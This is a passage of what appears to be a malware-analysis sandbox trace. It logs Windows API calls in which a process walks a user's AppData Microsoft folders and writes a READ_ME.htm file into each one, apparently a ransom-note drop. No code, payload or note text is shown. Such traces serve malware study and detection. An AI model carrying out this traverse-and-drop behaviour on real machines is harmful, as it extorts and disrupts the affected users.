ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0149.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0149.268] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.268] SetErrorMode (uMode=0x0) returned 0x1 [0149.269] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpFilePart=0x0) returned 0x4a [0149.269] SetErrorMode (uMode=0x1) returned 0x0 [0149.269] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\document building blocks\\1033\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.269] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.269] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0149.269] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0149.270] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.270] SetErrorMode (uMode=0x0) returned 0x1 [0149.270] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", lpFilePart=0x0) returned 0x4d [0149.270] SetErrorMode (uMode=0x1) returned 0x0 [0149.270] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.271] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.271] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x72af9fb0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x388cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1 [0149.271] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x72af9fb0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x388cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 0 [0149.271] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.271] SetErrorMode (uMode=0x0) returned 0x1 [0149.272] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", lpFilePart=0x0) returned 0x4d [0149.272] SetErrorMode (uMode=0x1) returned 0x0 [0149.272] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.272] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.272] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x72af9fb0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x388cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1 [0149.273] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x72af9fb0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x388cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 0 [0149.273] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.273] SetErrorMode (uMode=0x0) returned 0x1 [0149.273] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\READ_ME.htm", lpFilePart=0x0) returned 0x59 [0149.273] SetErrorMode (uMode=0x1) returned 0x0 [0149.273] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.274] GetFileType (hFile=0x1d0) returned 0x1 [0149.274] SetErrorMode (uMode=0x0) returned 0x1 [0149.275] GetFileType (hFile=0x1d0) returned 0x1 [0149.275] WriteFile (in: hFile=0x1d0, lpBuffer=0x28c4000*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28c4000*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0149.276] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\READ_ME.htm", lpFilePart=0x0) returned 0x56 [0149.276] SetErrorMode (uMode=0x1) returned 0x0 [0149.276] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\document building blocks\\1033\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.277] GetFileType (hFile=0x1d0) returned 0x1 [0149.277] SetErrorMode (uMode=0x0) returned 0x1 [0149.277] GetFileType (hFile=0x1d0) returned 0x1 [0149.277] WriteFile (in: hFile=0x1d0, lpBuffer=0x28c8620*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x28c8620*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0149.278] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0149.278] SetErrorMode (uMode=0x1) returned 0x0 [0149.278] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\document building blocks\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.278] GetFileType (hFile=0x1d0) returned 0x1 [0149.278] SetErrorMode (uMode=0x0) returned 0x1 [0149.278] GetFileType (hFile=0x1d0) returned 0x1 [0149.279] WriteFile (in: hFile=0x1d0, lpBuffer=0x28ccc30*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28ccc30*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel", lpFilePart=0x0) returned 0x32 [0149.281] SetErrorMode (uMode=0x1) returned 0x0 [0149.281] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\excel\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.281] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 1 [0149.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 0 [0149.282] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.282] SetErrorMode (uMode=0x0) returned 0x1 [0149.282] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel", lpFilePart=0x0) returned 0x32 [0149.282] SetErrorMode (uMode=0x1) returned 0x0 [0149.282] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\excel\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.283] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.283] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 1 [0149.283] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 0 [0149.283] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.283] SetErrorMode (uMode=0x0) returned 0x1 [0149.284] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpFilePart=0x0) returned 0x3a [0149.284] SetErrorMode (uMode=0x1) returned 0x0 [0149.284] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\excel\\xlstart\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.285] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.285] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.285] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.285] SetErrorMode (uMode=0x0) returned 0x1 [0149.286] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpFilePart=0x0) returned 0x3a [0149.286] SetErrorMode (uMode=0x1) returned 0x0 [0149.286] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\excel\\xlstart\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.286] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.286] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.286] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.286] SetErrorMode (uMode=0x0) returned 0x1 [0149.287] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\READ_ME.htm", lpFilePart=0x0) returned 0x46 [0149.287] SetErrorMode (uMode=0x1) returned 0x0 [0149.287] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\excel\\xlstart\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.287] GetFileType (hFile=0x1d0) returned 0x1 [0149.287] SetErrorMode (uMode=0x0) returned 0x1 [0149.287] GetFileType (hFile=0x1d0) returned 0x1 [0149.288] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d4590*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x28d4590*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0149.289] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\READ_ME.htm", lpFilePart=0x0) returned 0x3e [0149.289] SetErrorMode (uMode=0x1) returned 0x0 [0149.289] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\excel\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.290] GetFileType (hFile=0x1d0) returned 0x1 [0149.290] SetErrorMode (uMode=0x0) returned 0x1 [0149.290] GetFileType (hFile=0x1d0) returned 0x1 [0149.291] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d8b50*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28d8b50*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.292] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: 